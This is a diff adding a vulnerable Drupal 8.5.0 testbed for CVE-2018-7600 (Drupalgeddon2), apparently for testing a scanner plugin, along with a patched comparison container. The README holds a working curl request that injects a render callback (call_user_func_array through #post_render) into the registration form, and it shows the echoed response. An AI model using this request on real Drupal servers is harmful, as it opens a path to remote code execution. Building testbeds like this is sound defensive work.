Drupalgeddon2 testbed for templated plugin

drupal/CVE-2018-7600/README.md

@@ -6,3 +6,27 @@ vulnerable to CVE-2018-7600. Drupal versions before 7.58, 8.x before 8.3.9,
 
 The deployed service has name `drupal-cve-2018-7600` and listens on port `80`.
 
+## Docker Compose
+
+There is also a Docker Compose config included in this directory.
+
+```
+docker compose up
+```
+
+The vulnerable service will be exposed on port 8081, and the non-vulnerable service will be exposed on port 8082.
+
+You need to visit the drupal web services and install drupal before running the plugins. You can use any information and SQLite for a local database.
+
+Note that the docker compose version uses 8.5.0 as the version, and the exploit is different for Drupal 7.
+
+## Confirming the Vulnerability
+
+curl -X POST "http://localhost:8081/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
+  -H "Content-Type: application/x-www-form-urlencoded" \
+  --data "form_id=user_register_form&_drupal_ajax=1&mail[0]=BEGIN%1\$sEND&mail[1]=scanning-CVE-2018-7600&mail[#children]=sprintf&mail[#post_render][]=call_user_func_array"
+
+Response:
+```
+[{"command":"insert","method":"replaceWith","selector":null,"data":"BEGINscanning-CVE-2018-7600END\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
+```

drupal/CVE-2018-7600/docker-compose.yaml

@@ -0,0 +1,16 @@
+version: "3.8"
+
+services:
+  drupal_vuln:
+    image: drupal:8.5.0   # vulnerable version (CVE-2018-7600)
+    container_name: drupal_vuln
+    ports:
+    - "8081:80"
+    restart: unless-stopped
+
+  drupal_safe:
+    image: drupal:9.5    # patched/safe version
+    container_name: drupal_safe
+    ports:
+    - "8082:80"
+    restart: unless-stopped